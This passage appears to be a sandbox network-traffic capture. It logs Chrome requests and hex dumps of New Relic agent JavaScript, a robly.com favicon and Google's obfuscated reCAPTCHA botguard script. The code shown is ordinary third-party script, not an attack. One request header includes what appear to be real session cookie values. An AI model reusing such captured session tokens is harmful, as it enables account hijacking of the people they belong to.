strict";(self["webpackChunk:NRBA-1.257.0.PROD"]=self["webpackChunk:NRBA-1.257.0.PROD"]\|\|[]).push([[75],{2573:(t,e,n)=>{n.d(e,{o:()=>c});var r=n(4247),i=n(1117),s=n(8673),a=n(
2024-04-25 13:30:13 UTC	1378	IN	Data Raw: 76 65 73 74 28 29 29 3b 69 3d 22 5b 6f 62 6a 65 63 74 20 41 72 72 61 79 5d 22 3d 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 2e 63 61 6c 6c 28 69 29 3f 69 3a 5b 69 5d 2c 73 2e 70 75 73 68 28 2e 2e 2e 69 29 7d 6c 65 74 20 61 3d 74 3d 3e 74 68 69 73 2e 68 61 72 76 65 73 74 2e 73 65 6e 64 58 28 74 29 3b 73 2e 6c 65 6e 67 74 68 3f 61 3d 74 68 69 73 2e 6f 70 74 73 2e 72 61 77 3f 74 3d 3e 74 68 69 73 2e 68 61 72 76 65 73 74 2e 5f 73 65 6e 64 28 74 29 3a 74 3d 3e 74 68 69 73 2e 68 61 72 76 65 73 74 2e 73 65 6e 64 28 74 29 3a 73 2e 70 75 73 68 28 76 6f 69 64 20 30 29 2c 73 2e 66 6f 72 45 61 63 68 28 28 72 3d 3e 7b 61 28 7b 65 6e 64 70 6f 69 6e 74 3a 74 68 69 73 2e 65 6e 64 70 6f 69 6e 74 2c 70 61 79 6c 6f 61 64 3a 72 2c 6f 70 Data Ascii: vest());i="[object Array]"===Object.prototype.toString.call(i)?i:[i],s.push(...i)}let a=t=>this.harvest.sendX(t);s.length?a=this.opts.raw?t=>this.harvest._send(t):t=>this.harvest.send(t):s.push(void 0),s.forEach((r=>{a({endpoint:this.endpoint,payload:r,op
2024-04-25 13:30:13 UTC	1378	IN	Data Raw: 6b 65 79 73 28 6e 29 2e 69 6e 63 6c 75 64 65 73 28 74 29 3f 22 22 3a 65 26 26 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 3f 22 26 22 2b 74 2b 22 3d 22 2b 75 28 65 29 3a 22 22 7d 76 61 72 20 64 3d 6e 28 34 32 34 37 29 3b 66 75 6e 63 74 69 6f 6e 20 66 28 29 7b 72 65 74 75 72 6e 22 22 2b 6c 6f 63 61 74 69 6f 6e 7d 76 61 72 20 70 3d 6e 28 32 33 34 29 2c 6d 3d 6e 28 34 32 32 32 29 2c 67 3d 6e 28 33 32 33 39 29 2c 76 3d 6e 28 36 31 34 31 29 3b 66 75 6e 63 74 69 6f 6e 20 79 28 74 2c 65 29 7b 6c 65 74 20 6e 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 32 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 32 5d 3a 22 73 74 72 69 6e 67 22 2c 72 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 Data Ascii: keys(n).includes(t)?"":e&&"string"==typeof e?"&"+t+"="+u(e):""}var d=n(4247);function f(){return""+location}var p=n(234),m=n(4222),g=n(3239),v=n(6141);function y(t,e){let n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"string",r=arguments.length
2024-04-25 13:30:13 UTC	1378	IN	Data Raw: 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 6f 62 66 75 73 63 61 74 6f 72 2e 6f 62 66 75 73 63 61 74 65 53 74 72 69 6e 67 28 2e 2e 2e 61 72 67 75 6d 65 6e 74 73 29 7d 29 2c 22 73 74 72 69 6e 67 22 2c 5b 22 65 22 5d 29 2c 74 68 69 73 2e 5f 73 65 6e 64 28 7b 2e 2e 2e 65 2c 70 61 79 6c 6f 61 64 3a 6e 7d 29 7d 5f 73 65 6e 64 28 74 29 7b 6c 65 74 7b 65 6e 64 70 6f 69 6e 74 3a 65 2c 70 61 79 6c 6f 61 64 3a 6e 3d 7b 7d 2c 6f 70 74 73 3a 72 3d 7b 7d 2c 73 75 62 6d 69 74 4d 65 74 68 6f 64 3a 73 2c 63 62 46 69 6e 69 73 68 65 64 3a 61 2c 63 75 73 74 6f 6d 55 72 6c 3a 6f 2c 72 61 77 3a 63 2c 69 6e 63 6c 75 64 65 42 61 73 65 50 61 72 61 6d 73 3a 75 3d 21 30 7d 3d 74 3b 63 6f 6e 73 74 20 68 3d 28 30 2c 70 2e 43 35 29 28 74 68 69 73 2e 73 68 61 72 65 64 43 6f 6e 74 65 78 Data Ascii: on(){return t.obfuscator.obfuscateString(...arguments)}),"string",["e"]),this._send({...e,payload:n})}_send(t){let{endpoint:e,payload:n={},opts:r={},submitMethod:s,cbFinished:a,customUrl:o,raw:c,includeBaseParams:u=!0}=t;const h=(0,p.C5)(this.sharedContex
2024-04-25 13:30:13 UTC	1378	IN	Data Raw: 29 2c 68 65 61 64 65 72 73 3a 44 7d 29 3b 69 66 28 21 72 2e 75 6e 6c 6f 61 64 26 26 61 26 26 73 3d 3d 3d 64 2e 42 65 29 7b 63 6f 6e 73 74 20 74 3d 74 68 69 73 3b 78 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 65 6e 64 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 63 6f 6e 73 74 20 65 3d 7b 73 65 6e 74 3a 30 21 3d 3d 74 68 69 73 2e 73 74 61 74 75 73 2c 73 74 61 74 75 73 3a 74 68 69 73 2e 73 74 61 74 75 73 2c 78 68 72 3a 74 68 69 73 2c 66 75 6c 6c 55 72 6c 3a 43 7d 3b 34 32 39 3d 3d 3d 74 68 69 73 2e 73 74 61 74 75 73 3f 28 65 2e 72 65 74 72 79 3d 21 30 2c 65 2e 64 65 6c 61 79 3d 74 2e 74 6f 6f 4d 61 6e 79 52 65 71 75 65 73 74 73 44 65 6c 61 79 29 3a 34 30 38 21 3d 3d 74 68 69 73 2e 73 74 61 74 75 73 26 26 35 30 30 21 3d 3d 74 68 69 73 Data Ascii: ),headers:D});if(!r.unload&&a&&s===d.Be){const t=this;x.addEventListener("loadend",(function(){const e={sent:0!==this.status,status:this.status,xhr:this,fullUrl:C};429===this.status?(e.retry=!0,e.delay=t.tooManyRequestsDelay):408!==this.status&&500!==this
2024-04-25 13:30:13 UTC	1378	IN	Data Raw: 2e 72 65 64 75 63 65 28 28 28 74 2c 65 29 3d 3e 7b 6c 65 74 5b 6e 2c 72 5d 3d 65 3b 72 65 74 75 72 6e 28 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 72 7c 7c 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 72 26 26 72 2e 6c 65 6e 67 74 68 3e 30 7c 7c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 72 26 26 4f 62 6a 65 63 74 2e 6b 65 79 73 28 72 7c 7c 7b 7d 29 2e 6c 65 6e 67 74 68 3e 30 29 26 26 28 74 5b 6e 5d 3d 72 29 2c 74 7d 29 2c 7b 7d 29 3b 72 65 74 75 72 6e 7b 62 6f 64 79 3a 65 28 74 2e 62 6f 64 79 29 2c 71 73 3a 65 28 74 2e 71 73 29 7d 7d 6f 6e 28 74 2c 65 29 7b 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 74 68 69 73 2e 5f 65 76 65 6e 74 73 5b 74 5d 29 7c 7c 28 74 68 69 73 2e 5f 65 76 65 6e 74 73 5b 74 5d 3d 5b 5d 29 2c 74 68 69 73 2e 5f Data Ascii: .reduce(((t,e)=>{let[n,r]=e;return("number"==typeof r\|\|"string"==typeof r&&r.length>0\|\|"object"==typeof r&&Object.keys(r\|\|{}).length>0)&&(t[n]=r),t}),{});return{body:e(t.body),qs:e(t.qs)}}on(t,e){Array.isArray(this._events[t])\|\|(this._events[t]=[]),this._
2024-04-25 13:30:13 UTC	1378	IN	Data Raw: 66 75 73 63 61 74 65 22 29 7c 7c 5b 5d 3b 72 65 74 75 72 6e 20 65 3d 65 2e 63 6f 6e 63 61 74 28 6e 29 2c 28 30 2c 73 2e 56 29 28 29 26 26 65 2e 70 75 73 68 28 6f 29 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 21 31 2c 6e 3d 21 31 2c 72 3d 30 3b 72 3c 74 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 7b 22 72 65 67 65 78 22 69 6e 20 74 5b 72 5d 3f 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 74 5b 72 5d 2e 72 65 67 65 78 7c 7c 74 5b 72 5d 2e 72 65 67 65 78 20 69 6e 73 74 61 6e 63 65 6f 66 20 52 65 67 45 78 70 7c 7c 28 28 30 2c 61 2e 5a 29 28 27 41 6e 20 6f 62 66 75 73 63 61 74 69 6f 6e 20 72 65 70 6c 61 63 65 6d 65 6e 74 20 72 75 6c 65 20 63 6f 6e 74 61 69 6e 73 20 61 20 22 72 65 67 65 78 22 20 76 61 6c 75 65 20 77 69 74 68 Data Ascii: fuscate")\|\|[];return e=e.concat(n),(0,s.V)()&&e.push(o),e}function l(t){for(var e=!1,n=!1,r=0;r<t.length;r++){"regex"in t[r]?"string"==typeof t[r].regex\|\|t[r].regex instanceof RegExp\|\|((0,a.Z)('An obfuscation replacement rule contains a "regex" value with
2024-04-25 13:30:13 UTC	1378	IN	Data Raw: 6c 74 22 2c 54 49 4d 45 5f 54 4f 5f 46 49 52 53 54 5f 42 59 54 45 3a 22 74 74 66 62 22 7d 7d 2c 36 30 36 39 3a 28 74 2c 65 2c 6e 29 3d 3e 7b 6e 2e 64 28 65 2c 7b 79 3a 28 29 3d 3e 61 7d 29 3b 76 61 72 20 72 3d 6e 28 35 35 32 38 29 2c 69 3d 6e 28 33 38 35 29 2c 73 3d 6e 28 38 31 35 38 29 3b 63 6f 6e 73 74 20 61 3d 6e 65 77 28 6e 28 32 30 39 34 29 2e 55 29 28 73 2e 53 2e 46 49 52 53 54 5f 43 4f 4e 54 45 4e 54 46 55 4c 5f 50 41 49 4e 54 29 3b 69 66 28 69 2e 69 6c 29 69 66 28 69 2e 75 78 29 74 72 79 7b 69 66 28 21 69 2e 69 53 29 7b 70 65 72 66 6f 72 6d 61 6e 63 65 2e 67 65 74 45 6e 74 72 69 65 73 42 79 54 79 70 65 28 22 70 61 69 6e 74 22 29 2e 66 6f 72 45 61 63 68 28 28 74 3d 3e 7b 22 66 69 72 73 74 2d 63 6f 6e 74 65 6e 74 66 75 6c 2d 70 61 69 6e 74 22 3d 3d Data Ascii: lt",TIME_TO_FIRST_BYTE:"ttfb"}},6069:(t,e,n)=>{n.d(e,{y:()=>a});var r=n(5528),i=n(385),s=n(8158);const a=new(n(2094).U)(s.S.FIRST_CONTENTFUL_PAINT);if(i.il)if(i.ux)try{if(!i.iS){performance.getEntriesByType("paint").forEach((t=>{"first-contentful-paint"==
2024-04-25 13:30:13 UTC	1378	IN	Data Raw: 75 70 64 61 74 65 28 7b 76 61 6c 75 65 3a 74 2e 72 65 73 70 6f 6e 73 65 53 74 61 72 74 2c 61 74 74 72 73 3a 7b 6e 61 76 69 67 61 74 69 6f 6e 45 6e 74 72 79 3a 74 7d 7d 29 7d 7d 2c 32 30 39 34 3a 28 74 2c 65 2c 6e 29 3d 3e 7b 6e 2e 64 28 65 2c 7b 55 3a 28 29 3d 3e 72 7d 29 3b 63 6c 61 73 73 20 72 7b 23 74 3d 6e 65 77 20 53 65 74 3b 68 69 73 74 6f 72 79 3d 5b 5d 3b 63 6f 6e 73 74 72 75 63 74 6f 72 28 74 2c 65 29 7b 74 68 69 73 2e 6e 61 6d 65 3d 74 2c 74 68 69 73 2e 61 74 74 72 73 3d 7b 7d 2c 74 68 69 73 2e 72 6f 75 6e 64 69 6e 67 4d 65 74 68 6f 64 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 3f 65 3a 4d 61 74 68 2e 66 6c 6f 6f 72 7d 75 70 64 61 74 65 28 74 29 7b 6c 65 74 7b 76 61 6c 75 65 3a 65 2c 61 74 74 72 73 3a 6e 3d 7b 7d 7d 3d 74 3b Data Ascii: update({value:t.responseStart,attrs:{navigationEntry:t}})}},2094:(t,e,n)=>{n.d(e,{U:()=>r});class r{#t=new Set;history=[];constructor(t,e){this.name=t,this.attrs={},this.roundingMethod="function"==typeof e?e:Math.floor}update(t){let{value:e,attrs:n={}}=t;
2024-04-25 13:30:13 UTC	1378	IN	Data Raw: 73 74 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 62 6f 64 79 20 3e 20 64 69 76 22 29 3b 66 6f 72 28 6c 65 74 20 65 3d 30 3b 65 3c 74 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 74 5b 65 5d 2c 22 5f 72 65 61 63 74 52 6f 6f 74 43 6f 6e 74 61 69 6e 65 72 22 29 29 72 65 74 75 72 6e 21 30 7d 29 28 29 7d 63 61 74 63 68 28 74 29 7b 72 65 74 75 72 6e 21 31 7d 7d 29 28 29 26 26 28 74 2e 70 75 73 68 28 63 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 77 69 6e 64 6f 77 2c 22 Data Ascii: st t=document.querySelectorAll("body > div");for(let e=0;e<t.length;e++)if(Object.prototype.hasOwnProperty.call(t[e],"_reactRootContainer"))return!0})()}catch(t){return!1}})()&&(t.push(c),function(){try{return Object.prototype.hasOwnProperty.call(window,"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.16	49734	54.201.220.248	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:13 UTC	794	OUT	GET /favicon.ico HTTP/1.1 Host: app.robly.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://app.robly.com/sites/1550c67c312457e2bb58457f78fda912/f774d7ddfffc8f1d429cd55a95adr852d Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _session_id=d3eacfdaa63ae6ce5266c4381ba98399; _ga_GWR6DEECHX=GS1.1.1714051808.1.0.1714051808.0.0.0; _ga=GA1.1.660345662.1714051809
2024-04-25 13:30:14 UTC	236	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 13:30:14 GMT Content-Type: text/plain Content-Length: 7372 Connection: close Server: nginx/1.22.0 Last-Modified: Mon, 23 Jan 2023 18:41:45 GMT ETag: "63ced4e9-1ccc" Accept-Ranges: bytes
2024-04-25 13:30:14 UTC	7372	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 c0 00 00 00 c0 08 03 00 00 00 65 02 9c 35 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 03 00 50 4c 54 45 47 70 4c bc 60 1a 82 3a 12 e0 2a 1d e0 2a 1d fa 58 26 f9 58 26 f0 6e 1f e4 72 1d ff 74 2a ff 74 2a dd 66 1f ff af 05 ff af 06 bc 3f 17 e3 a4 0f d5 3c 1d d6 3c 1c c3 3f 1b e1 2a 1c d7 2a 1a fe 75 2a f5 6c 28 fc 75 2b de 28 1b fe 75 2a ef 6c 28 fe b1 07 e1 29 1c f9 58 25 f0 70 2a fe b0 06 f5 ad 08 e0 29 1c f6 73 2a f5 ae 09 e2 2a 1c e0 2a 1b f0 69 28 e6 68 23 f6 73 2a f4 72 2a fe 74 2a df 2c 1c e2 29 1b f4 55 24 f3 56 24 e8 5c 25 e0 a1 0b f6 b1 0b fe b2 08 e6 a3 09 ec 70 28 38 1f 11 fd 75 2b dd 2c 1b f4 57 24 f6 59 25 f8 74 2b f8 58 25 f9 74 2a fa 73 Data Ascii: PNGIHDRe5gAMAasRGBPLTEGpL`:*X&X&nrttf?<<?ul(u+(ul()X%p)s**i(h#srt,)U$V$\%p(8u+,W$Y%t+X%t*s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.16	49740	172.253.124.147	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:14 UTC	755	OUT	GET /js/bg/fyCF3lmo_OYnC_9rGWUF-CeQvtOEKKrTUK_XXS1Fd1s.js HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlqHLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&k=6Ld9XlUUAAAAABcR5houwBXwlA_3STKsG2SzYCVw Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 13:30:14 UTC	810	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/botguard-scs Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="botguard-scs" Report-To: {"group":"botguard-scs","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/botguard-scs"}]} Content-Length: 18286 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Thu, 25 Apr 2024 11:20:04 GMT Expires: Fri, 25 Apr 2025 11:20:04 GMT Cache-Control: public, max-age=31536000 Last-Modified: Tue, 23 Apr 2024 17:30:00 GMT Content-Type: text/javascript Vary: Accept-Encoding Age: 7810 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-25 13:30:14 UTC	445	IN	Data Raw: 2f 2a 20 41 6e 74 69 2d 73 70 61 6d 2e 20 57 61 6e 74 20 74 6f 20 73 61 79 20 68 65 6c 6c 6f 3f 20 43 6f 6e 74 61 63 74 20 28 62 61 73 65 36 34 29 20 59 6d 39 30 5a 33 56 68 63 6d 51 74 59 32 39 75 64 47 46 6a 64 45 42 6e 62 32 39 6e 62 47 55 75 59 32 39 74 20 2a 2f 20 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 53 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 4e 29 7b 69 66 28 21 28 61 3d 28 4e 3d 55 2e 74 72 75 73 74 65 64 54 79 70 65 73 2c 6e 75 6c 6c 29 2c 4e 29 7c 7c 21 4e 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 29 72 65 74 75 72 6e 20 61 3b 74 72 79 7b 61 3d 4e 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 28 22 62 67 22 2c 7b 63 72 65 61 74 65 48 54 4d 4c 3a 6d 2c 63 72 65 61 74 65 53 63 72 69 70 74 3a 6d 2c 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 3a 6d 7d Data Ascii: /* Anti-spam. Want to say hello? Contact (base64) Ym90Z3VhcmQtY29udGFjdEBnb29nbGUuY29t */ (function(){var S=function(a,N){if(!(a=(N=U.trustedTypes,null),N)\|\|!N.createPolicy)return a;try{a=N.createPolicy("bg",{createHTML:m,createScript:m,createScriptURL:m}
2024-04-25 13:30:14 UTC	1255	IN	Data Raw: 61 74 65 53 63 72 69 70 74 28 79 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 79 29 7b 72 65 74 75 72 6e 22 22 2b 79 7d 7d 28 55 29 28 41 72 72 61 79 28 37 38 32 34 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 7c 30 29 2e 6a 6f 69 6e 28 22 5c 6e 22 29 2b 5b 27 28 66 75 6e 63 74 69 6f 6e 28 29 7b 2f 2a 27 2c 0a 27 27 2c 0a 27 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 27 2c 0a 27 2a 2f 27 2c 0a 27 76 61 72 20 56 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 61 68 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 4e 2c 79 29 7b 72 65 74 75 72 6e 20 4e 2e 74 66 28 66 75 6e 63 74 69 6f 6e 28 6d 29 7b 79 3d 6d 7d 2c 66 61 6c 73 65 2c 61 29 2c 79 7d 2c 79 55 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 4e 2c 79 2c 6d 2c 51 2c 77 29 7b 72 65 Data Ascii: ateScript(y)}:function(y){return""+y}}(U)(Array(7824Math.random()\|0).join("\n")+['(function(){/','',' SPDX-License-Identifier: Apache-2.0','*/','var V=this\|\|self,ah=function(a,N,y){return N.tf(function(m){y=m},false,a),y},yU=function(a,N,y,m,Q,w){re
2024-04-25 13:30:14 UTC	1255	IN	Data Raw: 2c 28 75 28 28 75 28 66 75 6e 63 74 69 6f 6e 28 55 29 7b 48 76 28 55 2c 33 29 7d 2c 37 31 2c 28 75 28 66 75 6e 63 74 69 6f 6e 28 55 2c 53 2c 43 29 7b 30 21 3d 5a 28 55 2c 28 53 3d 5a 28 55 2c 28 43 3d 63 28 55 29 2c 53 3d 63 28 55 29 2c 53 29 29 2c 43 29 29 26 26 57 28 31 33 31 2c 55 2c 53 29 7d 2c 28 28 75 28 66 75 6e 63 74 69 6f 6e 28 55 2c 53 2c 43 29 7b 28 53 3d 5a 28 55 2c 28 43 3d 28 53 3d 63 28 55 29 2c 63 28 55 29 29 2c 53 29 29 2c 53 3d 73 70 28 53 29 2c 57 29 28 43 2c 55 2c 53 29 7d 2c 33 34 37 2c 28 57 28 33 33 35 2c 61 2c 28 57 28 32 32 33 2c 61 2c 28 57 28 33 31 35 2c 61 2c 28 57 28 28 28 75 28 28 75 28 66 75 6e 63 74 69 6f 6e 28 55 2c 53 2c 43 29 7b 67 28 66 61 6c 73 65 2c 74 72 75 65 2c 55 2c 53 29 7c 7c 28 53 3d 63 28 55 29 2c 43 3d 63 28 Data Ascii: ,(u((u(function(U){Hv(U,3)},71,(u(function(U,S,C){0!=Z(U,(S=Z(U,(C=c(U),S=c(U),S)),C))&&W(131,U,S)},((u(function(U,S,C){(S=Z(U,(C=(S=c(U),c(U)),S)),S=sp(S),W)(C,U,S)},347,(W(335,a,(W(223,a,(W(315,a,(W(((u((u(function(U,S,C){g(false,true,U,S)\|\|(S=c(U),C=c(
2024-04-25 13:30:14 UTC	1255	IN	Data Raw: 29 7b 4a 52 28 31 2c 55 29 7d 2c 28 28 75 28 66 75 6e 63 74 69 6f 6e 28 55 2c 53 2c 43 2c 59 2c 45 2c 4a 29 7b 67 28 66 61 6c 73 65 2c 74 72 75 65 2c 55 2c 53 29 7c 7c 28 59 3d 45 70 28 55 2e 55 29 2c 4a 3d 59 2e 6f 2c 43 3d 59 2e 43 79 2c 53 3d 59 2e 42 72 2c 59 3d 59 2e 5a 78 2c 45 3d 4a 2e 6c 65 6e 67 74 68 2c 4a 3d 30 3d 3d 45 3f 6e 65 77 20 59 5b 43 5d 3a 31 3d 3d 45 3f 6e 65 77 20 59 5b 43 5d 28 4a 5b 30 5d 29 3a 32 3d 3d 45 3f 6e 65 77 20 59 5b 43 5d 28 4a 5b 30 5d 2c 4a 5b 31 5d 29 3a 33 3d 3d 45 3f 6e 65 77 20 59 5b 43 5d 28 4a 5b 30 5d 2c 4a 5b 31 5d 2c 4a 5b 32 5d 29 3a 34 3d 3d 45 3f 6e 65 77 20 59 5b 43 5d 28 4a 5b 30 5d 2c 4a 5b 31 5d 2c 4a 5b 32 5d 2c 4a 5b 33 5d 29 3a 32 28 29 2c 57 28 53 2c 55 2c 4a 29 29 7d 2c 28 57 28 31 39 33 2c 61 2c Data Ascii: ){JR(1,U)},((u(function(U,S,C,Y,E,J){g(false,true,U,S)\|\|(Y=Ep(U.U),J=Y.o,C=Y.Cy,S=Y.Br,Y=Y.Zx,E=J.length,J=0==E?new Y[C]:1==E?new Y[C](J[0]):2==E?new Y[C](J[0],J[1]):3==E?new Y[C](J[0],J[1],J[2]):4==E?new Y[C](J[0],J[1],J[2],J[3]):2(),W(S,U,J))},(W(193,a,
2024-04-25 13:30:14 UTC	1255	IN	Data Raw: 61 2e 59 3d 30 2c 79 29 2c 61 29 2e 6c 6f 3d 66 61 6c 73 65 2c 61 2e 73 3d 28 61 2e 55 49 3d 30 2c 61 2e 46 3d 76 6f 69 64 20 30 2c 61 2e 58 3d 76 6f 69 64 20 30 2c 28 61 2e 4a 3d 66 61 6c 73 65 2c 61 29 2e 44 3d 30 2c 28 61 2e 52 3d 76 6f 69 64 20 30 2c 61 29 2e 6c 3d 30 2c 5b 5d 29 2c 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 7c 7c 7b 7d 29 2c 61 29 2e 62 6f 3d 79 2e 74 69 6d 65 4f 72 69 67 69 6e 7c 7c 28 79 2e 74 69 6d 69 6e 67 7c 7c 7b 7d 29 2e 6e 61 76 69 67 61 74 69 6f 6e 53 74 61 72 74 7c 7c 30 2c 61 29 2c 30 29 2c 61 29 2c 30 29 2c 66 75 6e 63 74 69 6f 6e 28 55 2c 53 29 7b 53 3d 5a 28 55 2c 63 28 55 29 29 2c 59 62 28 53 2c 55 2e 55 29 7d 29 2c 31 36 33 2c 61 29 2c 33 39 34 29 2c 61 29 2c 34 30 33 29 2c 61 2c 42 28 34 29 29 2c 61 29 29 Data Ascii: a.Y=0,y),a).lo=false,a.s=(a.UI=0,a.F=void 0,a.X=void 0,(a.J=false,a).D=0,(a.R=void 0,a).l=0,[]),window.performance\|\|{}),a).bo=y.timeOrigin\|\|(y.timing\|\|{}).navigationStart\|\|0,a),0),a),0),function(U,S){S=Z(U,c(U)),Yb(S,U.U)}),163,a),394),a),403),a,B(4)),a))
2024-04-25 13:30:14 UTC	1255	IN	Data Raw: 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 72 65 74 75 72 6e 21 28 28 57 28 31 33 31 2c 28 61 3d 28 79 2e 65 59 3d 6d 2c 5a 28 79 2c 4e 3f 32 33 37 3a 31 33 31 29 29 2c 79 29 2c 79 2e 6c 29 2c 79 29 2e 53 2e 70 75 73 68 28 5b 5a 49 2c 61 2c 4e 3f 6d 2b 31 3a 6d 2c 79 2e 4e 2c 79 2e 4a 2c 79 2e 4b 2c 79 2e 47 5d 29 2c 79 2e 57 3d 42 76 2c 30 29 7d 2c 74 52 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 4e 2c 79 2c 6d 29 7b 72 65 74 75 72 6e 20 5a 28 61 2c 28 57 28 31 33 31 2c 61 2c 28 62 58 28 79 2c 28 28 6d 3d 5a 28 61 2c 31 33 31 29 2c 61 2e 49 26 26 6d 3c 61 2e 6c 29 3f 28 57 28 31 33 31 2c 61 2c 61 2e 6c 29 2c 59 62 28 4e 2c 61 29 29 3a 57 28 31 33 31 2c 61 2c 4e 29 2c 61 29 29 2c 6d 29 29 2c 33 31 35 29 29 7d 2c 44 3d 7b 70 61 73 73 69 76 65 3a 74 72 75 65 2c 63 61 Data Ascii: return false;return!((W(131,(a=(y.eY=m,Z(y,N?237:131)),y),y.l),y).S.push([ZI,a,N?m+1:m,y.N,y.J,y.K,y.G]),y.W=Bv,0)},tR=function(a,N,y,m){return Z(a,(W(131,a,(bX(y,((m=Z(a,131),a.I&&m<a.l)?(W(131,a,a.l),Yb(N,a)):W(131,a,N),a)),m)),315))},D={passive:true,ca
